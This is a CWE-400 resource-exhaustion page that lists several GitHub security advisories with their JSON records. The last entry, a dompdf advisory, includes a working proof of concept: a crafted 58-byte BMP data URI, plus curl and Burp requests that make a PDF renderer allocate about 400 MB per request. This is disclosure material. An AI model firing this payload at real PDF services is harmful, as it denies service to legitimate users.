CWE-400
DiscouragedUncontrolled Resource Consumption
Abstraction: Class · Status: Draft
The product does not properly control the allocation and maintenance of a limited resource.
5569 vulnerabilities reference this CWE, most recent first.
GHSA-8H47-6JWQ-QMJQ
Vulnerability from github – Published: 2022-09-14 00:00 – Updated: 2022-09-14 00:00Windows Secure Channel Denial of Service Vulnerability. This CVE ID is unique from CVE-2022-30196.
{
"affected": [],
"aliases": [
"CVE-2022-35833"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-09-13T19:15:00Z",
"severity": "HIGH"
},
"details": "Windows Secure Channel Denial of Service Vulnerability. This CVE ID is unique from CVE-2022-30196.",
"id": "GHSA-8h47-6jwq-qmjq",
"modified": "2022-09-14T00:00:44Z",
"published": "2022-09-14T00:00:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-35833"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-35833"
},
{
"type": "WEB",
"url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-35833"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8H49-W326-P6W9
Vulnerability from github – Published: 2022-12-26 03:30 – Updated: 2023-01-04 03:30OX App Suite through 7.10.6 has Uncontrolled Resource Consumption via a large location request parameter to the redirect servlet.
{
"affected": [],
"aliases": [
"CVE-2022-37311"
],
"database_specific": {
"cwe_ids": [
"CWE-1284",
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-26T02:15:00Z",
"severity": "MODERATE"
},
"details": "OX App Suite through 7.10.6 has Uncontrolled Resource Consumption via a large location request parameter to the redirect servlet.",
"id": "GHSA-8h49-w326-p6w9",
"modified": "2023-01-04T03:30:32Z",
"published": "2022-12-26T03:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-37311"
},
{
"type": "WEB",
"url": "https://open-xchange.com"
},
{
"type": "WEB",
"url": "https://seclists.org/fulldisclosure/2022/Nov/18"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-8H6G-4G7P-297M
Vulnerability from github – Published: 2025-07-15 21:31 – Updated: 2025-07-15 21:31Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.0-8.0.42, 8.4.0-8.4.5 and 9.0.0-9.3.0. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).
{
"affected": [],
"aliases": [
"CVE-2025-50079"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-15T20:15:43Z",
"severity": "MODERATE"
},
"details": "Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.0-8.0.42, 8.4.0-8.4.5 and 9.0.0-9.3.0. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).",
"id": "GHSA-8h6g-4g7p-297m",
"modified": "2025-07-15T21:31:41Z",
"published": "2025-07-15T21:31:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-50079"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujul2025.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8H6J-VXPR-4FF5
Vulnerability from github – Published: 2024-02-27 21:31 – Updated: 2024-04-10 21:30In the Linux kernel, the following vulnerability has been resolved:
tracing: Restructure trace_clock_global() to never block
It was reported that a fix to the ring buffer recursion detection would cause a hung machine when performing suspend / resume testing. The following backtrace was extracted from debugging that case:
Call Trace: trace_clock_global+0x91/0xa0 __rb_reserve_next+0x237/0x460 ring_buffer_lock_reserve+0x12a/0x3f0 trace_buffer_lock_reserve+0x10/0x50 __trace_graph_return+0x1f/0x80 trace_graph_return+0xb7/0xf0 ? trace_clock_global+0x91/0xa0 ftrace_return_to_handler+0x8b/0xf0 ? pv_hash+0xa0/0xa0 return_to_handler+0x15/0x30 ? ftrace_graph_caller+0xa0/0xa0 ? trace_clock_global+0x91/0xa0 ? __rb_reserve_next+0x237/0x460 ? ring_buffer_lock_reserve+0x12a/0x3f0 ? trace_event_buffer_lock_reserve+0x3c/0x120 ? trace_event_buffer_reserve+0x6b/0xc0 ? trace_event_raw_event_device_pm_callback_start+0x125/0x2d0 ? dpm_run_callback+0x3b/0xc0 ? pm_ops_is_empty+0x50/0x50 ? platform_get_irq_byname_optional+0x90/0x90 ? trace_device_pm_callback_start+0x82/0xd0 ? dpm_run_callback+0x49/0xc0
With the following RIP:
RIP: 0010:native_queued_spin_lock_slowpath+0x69/0x200
Since the fix to the recursion detection would allow a single recursion to happen while tracing, this lead to the trace_clock_global() taking a spin lock and then trying to take it again:
ring_buffer_lock_reserve() { trace_clock_global() { arch_spin_lock() { queued_spin_lock_slowpath() { / lock taken / (something else gets traced by function graph tracer) ring_buffer_lock_reserve() { trace_clock_global() { arch_spin_lock() { queued_spin_lock_slowpath() { / DEAD LOCK! /
Tracing should never block, as it can lead to strange lockups like the above.
Restructure the trace_clock_global() code to instead of simply taking a lock to update the recorded "prev_time" simply use it, as two events happening on two different CPUs that calls this at the same time, really doesn't matter which one goes first. Use a trylock to grab the lock for updating the prev_time, and if it fails, simply try again the next time. If it failed to be taken, that means something else is already updating it.
Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=212761
{
"affected": [],
"aliases": [
"CVE-2021-46939"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-662"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-27T19:04:05Z",
"severity": "MODERATE"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\ntracing: Restructure trace_clock_global() to never block\n\nIt was reported that a fix to the ring buffer recursion detection would\ncause a hung machine when performing suspend / resume testing. The\nfollowing backtrace was extracted from debugging that case:\n\nCall Trace:\n trace_clock_global+0x91/0xa0\n __rb_reserve_next+0x237/0x460\n ring_buffer_lock_reserve+0x12a/0x3f0\n trace_buffer_lock_reserve+0x10/0x50\n __trace_graph_return+0x1f/0x80\n trace_graph_return+0xb7/0xf0\n ? trace_clock_global+0x91/0xa0\n ftrace_return_to_handler+0x8b/0xf0\n ? pv_hash+0xa0/0xa0\n return_to_handler+0x15/0x30\n ? ftrace_graph_caller+0xa0/0xa0\n ? trace_clock_global+0x91/0xa0\n ? __rb_reserve_next+0x237/0x460\n ? ring_buffer_lock_reserve+0x12a/0x3f0\n ? trace_event_buffer_lock_reserve+0x3c/0x120\n ? trace_event_buffer_reserve+0x6b/0xc0\n ? trace_event_raw_event_device_pm_callback_start+0x125/0x2d0\n ? dpm_run_callback+0x3b/0xc0\n ? pm_ops_is_empty+0x50/0x50\n ? platform_get_irq_byname_optional+0x90/0x90\n ? trace_device_pm_callback_start+0x82/0xd0\n ? dpm_run_callback+0x49/0xc0\n\nWith the following RIP:\n\nRIP: 0010:native_queued_spin_lock_slowpath+0x69/0x200\n\nSince the fix to the recursion detection would allow a single recursion to\nhappen while tracing, this lead to the trace_clock_global() taking a spin\nlock and then trying to take it again:\n\nring_buffer_lock_reserve() {\n trace_clock_global() {\n arch_spin_lock() {\n queued_spin_lock_slowpath() {\n /* lock taken */\n (something else gets traced by function graph tracer)\n ring_buffer_lock_reserve() {\n trace_clock_global() {\n arch_spin_lock() {\n queued_spin_lock_slowpath() {\n /* DEAD LOCK! */\n\nTracing should *never* block, as it can lead to strange lockups like the\nabove.\n\nRestructure the trace_clock_global() code to instead of simply taking a\nlock to update the recorded \"prev_time\" simply use it, as two events\nhappening on two different CPUs that calls this at the same time, really\ndoesn\u0027t matter which one goes first. Use a trylock to grab the lock for\nupdating the prev_time, and if it fails, simply try again the next time.\nIf it failed to be taken, that means something else is already updating\nit.\n\n\nBugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=212761",
"id": "GHSA-8h6j-vxpr-4ff5",
"modified": "2024-04-10T21:30:28Z",
"published": "2024-02-27T21:31:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-46939"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/1fca00920327be96f3318224f502e4d5460f9545"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/2a1bd74b8186d7938bf004f5603f25b84785f63e"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/6e2418576228eeb12e7ba82edb8f9500623942ff"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/859b47a43f5a0e5b9a92b621dc6ceaad39fb5c8b"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/91ca6f6a91f679c8645d7f3307e03ce86ad518c4"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/a33614d52e97fc8077eb0b292189ca7d964cc534"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/aafe104aa9096827a429bc1358f8260ee565b7cc"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/c64da3294a7d59a4bf6874c664c13be892f15f44"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/d43d56dbf452ccecc1ec735cd4b6840118005d7c"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8HC4-XXM3-5PPP
Vulnerability from github – Published: 2021-03-02 03:44 – Updated: 2023-07-03 22:08The PostgreSQL adapter in Active Record before 6.1.2.1, 6.0.3.5, 5.2.4.5 suffers from a regular expression denial of service (REDoS) vulnerability. Carefully crafted input can cause the input validation in the money type of the PostgreSQL adapter in Active Record to spend too much time in a regular expression, resulting in the potential for a DoS attack. This only impacts Rails applications that are using PostgreSQL along with money type columns that take user input.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.2.4.4"
},
"package": {
"ecosystem": "RubyGems",
"name": "activerecord"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.2.4.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.0.3.4"
},
"package": {
"ecosystem": "RubyGems",
"name": "activerecord"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "6.0.3.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.1.2.0"
},
"package": {
"ecosystem": "RubyGems",
"name": "activerecord"
},
"ranges": [
{
"events": [
{
"introduced": "6.1.0"
},
{
"fixed": "6.1.2.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-22880"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2021-03-02T03:40:01Z",
"nvd_published_at": "2021-02-11T18:15:00Z",
"severity": "HIGH"
},
"details": "The PostgreSQL adapter in Active Record before 6.1.2.1, 6.0.3.5, 5.2.4.5 suffers from a regular expression denial of service (REDoS) vulnerability. Carefully crafted input can cause the input validation in the `money` type of the PostgreSQL adapter in Active Record to spend too much time in a regular expression, resulting in the potential for a DoS attack. This only impacts Rails applications that are using PostgreSQL along with money type columns that take user input.",
"id": "GHSA-8hc4-xxm3-5ppp",
"modified": "2023-07-03T22:08:31Z",
"published": "2021-03-02T03:44:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22880"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/1023899"
},
{
"type": "WEB",
"url": "https://discuss.rubyonrails.org/t/cve-2021-22880-possible-dos-vulnerability-in-active-record-postgresql-adapter/77129"
},
{
"type": "WEB",
"url": "https://github.com/rails/rails"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/activerecord/CVE-2021-22880.yml"
},
{
"type": "WEB",
"url": "https://groups.google.com/g/rubyonrails-security/c/ZzUqCh9vyhI"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MO5OJ3F4ZL3UXVLJO6ECANRVZBNRS2IH"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XQ3NS4IBYE2I3MVMGAHFZBZBIZGHXHT3"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20210805-0009"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2021/dsa-4929"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Active Record subject to Regular Expression Denial-of-Service (ReDoS)"
}
GHSA-8HFR-PCM2-774V
Vulnerability from github – Published: 2026-04-21 21:31 – Updated: 2026-04-21 21:31Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Group Replication Plugin). Supported versions that are affected are 8.0.0-8.0.45, 8.4.0-8.4.8 and 9.0.0-9.6.0. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).
{
"affected": [],
"aliases": [
"CVE-2026-34271"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-21T21:16:30Z",
"severity": "MODERATE"
},
"details": "Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Group Replication Plugin). Supported versions that are affected are 8.0.0-8.0.45, 8.4.0-8.4.8 and 9.0.0-9.6.0. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).",
"id": "GHSA-8hfr-pcm2-774v",
"modified": "2026-04-21T21:31:25Z",
"published": "2026-04-21T21:31:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34271"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuapr2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8HG6-C449-896M
Vulnerability from github – Published: 2026-07-22 22:50 – Updated: 2026-07-22 22:50Summary
dompdf accepts a BMP image and generates a PDF-compatible PNG based only on its declared header dimensions and never bounds width × height before the image is converted through GD. A 58-byte BMP whose header declares e.g. 6000×6000 is accepted and later drives imagecreatetruecolor($width, $height) (and PHP's native BMP decoder) to allocate the full pixel canvas.
A payload can fit in a single HTTP request: the BMP can be inlined as a data:image/bmp;base64,… URI inside attacker-controlled HTML, so no upload, no remote fetch, and no chroot-reachable file is required. It was demonstrated that a 169-byte request drove dompdf to render to ~412 MB peak RSS and ~4.8 s of CPU/wall time, versus ~34 MB for an identically-sized benign request — roughly a 12× memory amplification per request, repeatable and unauthenticated.
Details
Root cause
The image is processed based on declared dimensions and type alone — no pixel budget:
// src/Image/Cache.php:131-134
list($width, $height, $type) = Helpers::dompdf_getimagesize($resolved_url, $options->getHttpContext());
if (($width && $height && in_array($type, ["gif","png","jpeg","bmp","svg","webp"], true)) === false) {
throw new ImageException("Image type unknown", E_WARNING);
}
For BMPs that getimagesize() does not fully parse, dompdf trusts the raw header fields:
// src/Helpers.php:833-837
if (substr($data, 0, 2) === "BM") {
$meta = unpack("vtype/Vfilesize/Vreserved/Voffset/Vheadersize/Vwidth/Vheight", $data);
$width = (int) $meta["width"];
$height = (int) $meta["height"];
$type = "bmp";
}
At conversion time the canvas is allocated from those declared dimensions, before any check that enough pixel data exists:
// src/Helpers.php:868-869 — native decoder is tried FIRST on PHP >= 7.2
if (function_exists("imagecreatefrombmp") && ($im = imagecreatefrombmp($filename)) !== false) {
return $im;
}
// src/Helpers.php:940 — hand-rolled fallback
$im = imagecreatetruecolor($meta['width'], $meta['height']);
There is no maximum width/height or maximum total-pixel guard anywhere on this path.
Source-to-sink
- Attacker HTML reaches
Dompdf::loadHtml()with<img src="data:image/bmp;base64,…">(or any BMPsrc). Dompdf::render()decorates frames;Frame\Factorymarks<img>as an image;FrameDecorator\ImagecallsImage\Cache::resolve_url().Image\Cache::resolve_url()accepts the BMP on declared dimensions/type (src/Image/Cache.php:131-134).- During render,
Adapter\CPDF::image()identifies the BMP and calls_convert_to_png()(src/Adapter/CPDF.php:593). _convert_to_png()invokesHelpers::imagecreatefrombmp(), which allocates the full canvas — via the nativeimagecreatefrombmp()on PHP ≥ 7.2, or the hand-rolledimagecreatetruecolor()fallback otherwise.
PoC
erified against dompdf @ a6ddc4f on PHP 8.3.6 with GD enabled.
The crafted BMP is 58 bytes: a 14-byte file header + 40-byte BITMAPINFOHEADER declaring the target width/height at 24bpp + 4 padding bytes. Inlined as a data URI, the full attacker payload is 169 bytes:
<html><body><img src="data:image/bmp;base64,Qk06AAAAAAAAADYAAAAoAAAAcBcAAHAXAAABABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" style="width:1px;height:1px"></body></html>
(The base64 above decodes to a 58-byte BMP declaring 6000×6000. The CSS width:1px;height:1px does not help the defender — the intrinsic decode happens regardless.)
1 — Direct conversion
native imagecreatefrombmp exists: yes
dompdf_getimagesize => 6000x6000 type=bmp
imagecreatefrombmp => GdImage 6000x6000 (allocated from a 58-byte file)
Maximum resident set size: 160 MB (10x10 control: 24 MB)
php_peak (PHP-managed): 0.8 MB <-- GD memory is native; PHP memory_limit does NOT cap it
The PHP-managed peak is under 1 MB while RSS is 160 MB: the canvas lives in GD's native allocator, so memory_limit does not bound it.
2 — Full Dompdf::render()
declared 6000x6000 payload 169 bytes render 5.8 s RSS ~417 MB output 106 KB
declared 10x10 payload 169 bytes render 0.01 s RSS ~30 MB output 1.4 KB
3 — HTTP reproduction (curl / Burp)
Reproduced against a minimal PDF endpoint (server.php, included) that simply renders posted HTML — the shape of any invoice/report/HTML-to-PDF service. The endpoint sets isRemoteEnabled=false; the attack still works because data: URIs are an allowed protocol by default and need no remote fetch.
curl:
curl -s -X POST "https://TARGET/render" \
--data-binary '<html><body><img src="data:image/bmp;base64,Qk06AAAAAAAAADYAAAAoAAAAcBcAAHAXAAABABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" style="width:1px;height:1px"></body></html>' \
-o /dev/null -w 'http=%{http_code} time=%{time_total}s\n'
Burp Repeater (enable "Update Content-Length"):
POST /render HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: text/html
Connection: close
<html><body><img src="data:image/bmp;base64,Qk06AAAAAAAAADYAAAAoAAAAcBcAAHAXAAABABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" style="width:1px;height:1px"></body></html>
Observed (peak RSS read from the worker's /proc/<pid>/status VmHWM, each on a fresh worker so the high-water mark is per-request):
[ATTACK ] declared 6000x6000 request=169 B -> 200 application/pdf output=106397 B server peak RSS ~412 MB wall 4.8 s
[CONTROL] declared 10x10 request=169 B -> 200 application/pdf output=1407 B server peak RSS ~34 MB wall <0.1 s
Two identically sized 169-byte requests; the only difference is the dimensions declared inside the 58-byte BMP. The attack request costs ~378 MB extra native memory and ~5 s CPU. The cost scales with declared width × height, bounded only by the 32-bit header fields and the host's available memory (the process is OOM-killed before the theoretical maximum).
Impact
A single unauthenticated 169-byte request forces ~400 MB of native allocation and several seconds of CPU in the rendering worker. PDF rendering is typically done by a small pool of PHP-FPM or queue workers; a handful of concurrent requests exhausts that pool's memory and stalls or OOM-kills workers, denying service to legitimate users. Because the heavy allocation is in GD's native allocator, a per-request memory_limit does not contain it.
Caveat: this is a resource-exhaustion (DoS) primitive, not data disclosure or code execution. Some deployments already sandbox dompdf behind render timeouts, worker memory caps (cgroups), or job isolation — those reduce real-world impact. However, the specific GD implementation on a system may not be constrained by PHP limits, allowing system-level resource consumption beyond those allocated to PHP.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "dompdf/dompdf"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59941"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-22T22:50:34Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\ndompdf accepts a BMP image and generates a PDF-compatible PNG based only on its *declared* header dimensions and never bounds width \u00d7 height before the image is converted through GD. A 58-byte BMP whose header declares e.g. `6000\u00d76000` is accepted and later drives `imagecreatetruecolor($width, $height)` (and PHP\u0027s native BMP decoder) to allocate the full pixel canvas.\n \nA payload can fit in a single HTTP request: the BMP can be inlined as a `data:image/bmp;base64,\u2026` URI inside attacker-controlled HTML, so no upload, no remote fetch, and no chroot-reachable file is required. It was demonstrated that a **169-byte** request drove dompdf to render to **~412 MB peak RSS and ~4.8 s** of CPU/wall time, versus ~34 MB for an identically-sized benign request \u2014 roughly a 12\u00d7 memory amplification per request, repeatable and unauthenticated.\n\n\n### Details\n## Root cause\n \nThe image is processed based on declared dimensions and type alone \u2014 no pixel budget:\n \n```php\n// src/Image/Cache.php:131-134\nlist($width, $height, $type) = Helpers::dompdf_getimagesize($resolved_url, $options-\u003egetHttpContext());\nif (($width \u0026\u0026 $height \u0026\u0026 in_array($type, [\"gif\",\"png\",\"jpeg\",\"bmp\",\"svg\",\"webp\"], true)) === false) {\n throw new ImageException(\"Image type unknown\", E_WARNING);\n}\n```\n \nFor BMPs that `getimagesize()` does not fully parse, dompdf trusts the raw header fields:\n \n```php\n// src/Helpers.php:833-837\nif (substr($data, 0, 2) === \"BM\") {\n $meta = unpack(\"vtype/Vfilesize/Vreserved/Voffset/Vheadersize/Vwidth/Vheight\", $data);\n $width = (int) $meta[\"width\"];\n $height = (int) $meta[\"height\"];\n $type = \"bmp\";\n}\n```\n \nAt conversion time the canvas is allocated from those declared dimensions, before any check that enough pixel data exists:\n \n```php\n// src/Helpers.php:868-869 \u2014 native decoder is tried FIRST on PHP \u003e= 7.2\nif (function_exists(\"imagecreatefrombmp\") \u0026\u0026 ($im = imagecreatefrombmp($filename)) !== false) {\n return $im;\n}\n// src/Helpers.php:940 \u2014 hand-rolled fallback\n$im = imagecreatetruecolor($meta[\u0027width\u0027], $meta[\u0027height\u0027]);\n```\n \nThere is no maximum width/height or maximum total-pixel guard anywhere on this path.\n \n## Source-to-sink\n \n1. Attacker HTML reaches `Dompdf::loadHtml()` with `\u003cimg src=\"data:image/bmp;base64,\u2026\"\u003e` (or any BMP `src`).\n2. `Dompdf::render()` decorates frames; `Frame\\Factory` marks `\u003cimg\u003e` as an image; `FrameDecorator\\Image` calls `Image\\Cache::resolve_url()`.\n3. `Image\\Cache::resolve_url()` accepts the BMP on declared dimensions/type (`src/Image/Cache.php:131-134`).\n4. During render, `Adapter\\CPDF::image()` identifies the BMP and calls `_convert_to_png()` (`src/Adapter/CPDF.php:593`).\n5. `_convert_to_png()` invokes `Helpers::imagecreatefrombmp()`, which allocates the full canvas \u2014 via the native `imagecreatefrombmp()` on PHP \u2265 7.2, or the hand-rolled `imagecreatetruecolor()` fallback otherwise.\n\n### PoC\nerified against dompdf @ `a6ddc4f` on PHP 8.3.6 with GD enabled.\n \nThe crafted BMP is 58 bytes: a 14-byte file header + 40-byte `BITMAPINFOHEADER` declaring the target width/height at 24bpp + 4 padding bytes. Inlined as a data URI, the full attacker payload is 169 bytes:\n \n```\n\u003chtml\u003e\u003cbody\u003e\u003cimg src=\"data:image/bmp;base64,Qk06AAAAAAAAADYAAAAoAAAAcBcAAHAXAAABABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==\" style=\"width:1px;height:1px\"\u003e\u003c/body\u003e\u003c/html\u003e\n```\n \n(The base64 above decodes to a 58-byte BMP declaring `6000\u00d76000`. The CSS `width:1px;height:1px` does not help the defender \u2014 the intrinsic decode happens regardless.)\n \n### 1 \u2014 Direct conversion\n \n```\nnative imagecreatefrombmp exists: yes\ndompdf_getimagesize =\u003e 6000x6000 type=bmp\nimagecreatefrombmp =\u003e GdImage 6000x6000 (allocated from a 58-byte file)\nMaximum resident set size: 160 MB (10x10 control: 24 MB)\nphp_peak (PHP-managed): 0.8 MB \u003c-- GD memory is native; PHP memory_limit does NOT cap it\n```\n \nThe PHP-managed peak is under 1 MB while RSS is 160 MB: the canvas lives in GD\u0027s native allocator, so `memory_limit` does not bound it.\n \n### 2 \u2014 Full `Dompdf::render()`\n \n```\ndeclared 6000x6000 payload 169 bytes render 5.8 s RSS ~417 MB output 106 KB\ndeclared 10x10 payload 169 bytes render 0.01 s RSS ~30 MB output 1.4 KB\n```\n \n### 3 \u2014 HTTP reproduction (curl / Burp)\n \nReproduced against a minimal PDF endpoint (`server.php`, included) that simply renders posted HTML \u2014 the shape of any invoice/report/HTML-to-PDF service. The endpoint sets `isRemoteEnabled=false`; the attack still works because `data:` URIs are an allowed protocol by default and need no remote fetch.\n \ncurl:\n```bash\ncurl -s -X POST \"https://TARGET/render\" \\\n --data-binary \u0027\u003chtml\u003e\u003cbody\u003e\u003cimg src=\"data:image/bmp;base64,Qk06AAAAAAAAADYAAAAoAAAAcBcAAHAXAAABABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==\" style=\"width:1px;height:1px\"\u003e\u003c/body\u003e\u003c/html\u003e\u0027 \\\n -o /dev/null -w \u0027http=%{http_code} time=%{time_total}s\\n\u0027\n```\n \nBurp Repeater (enable \"Update Content-Length\"):\n```\nPOST /render HTTP/1.1\nHost: TARGET\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nContent-Type: text/html\nConnection: close\n \n\u003chtml\u003e\u003cbody\u003e\u003cimg src=\"data:image/bmp;base64,Qk06AAAAAAAAADYAAAAoAAAAcBcAAHAXAAABABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==\" style=\"width:1px;height:1px\"\u003e\u003c/body\u003e\u003c/html\u003e\n```\n \nObserved (peak RSS read from the worker\u0027s `/proc/\u003cpid\u003e/status` `VmHWM`, each on a fresh worker so the high-water mark is per-request):\n \n```\n[ATTACK ] declared 6000x6000 request=169 B -\u003e 200 application/pdf output=106397 B server peak RSS ~412 MB wall 4.8 s\n[CONTROL] declared 10x10 request=169 B -\u003e 200 application/pdf output=1407 B server peak RSS ~34 MB wall \u003c0.1 s\n```\n \nTwo identically sized 169-byte requests; the only difference is the dimensions declared inside the 58-byte BMP. The attack request costs ~378 MB extra native memory and ~5 s CPU. The cost scales with declared `width \u00d7 height`, bounded only by the 32-bit header fields and the host\u0027s available memory (the process is OOM-killed before the theoretical maximum).\n\n## Impact\n \nA single unauthenticated 169-byte request forces ~400 MB of native allocation and several seconds of CPU in the rendering worker. PDF rendering is typically done by a small pool of PHP-FPM or queue workers; a handful of concurrent requests exhausts that pool\u0027s memory and stalls or OOM-kills workers, denying service to legitimate users. Because the heavy allocation is in GD\u0027s native allocator, a per-request `memory_limit` does **not** contain it.\n\n**Caveat:** this is a resource-exhaustion (DoS) primitive, not data disclosure or code execution. Some deployments already sandbox dompdf behind render timeouts, worker memory caps (cgroups), or job isolation \u2014 those reduce real-world impact. However, the specific GD implementation on a system may not be constrained by PHP limits, allowing system-level resource consumption beyond those allocated to PHP.",
"id": "GHSA-8hg6-c449-896m",
"modified": "2026-07-22T22:50:34Z",
"published": "2026-07-22T22:50:34Z",
"references": [
{
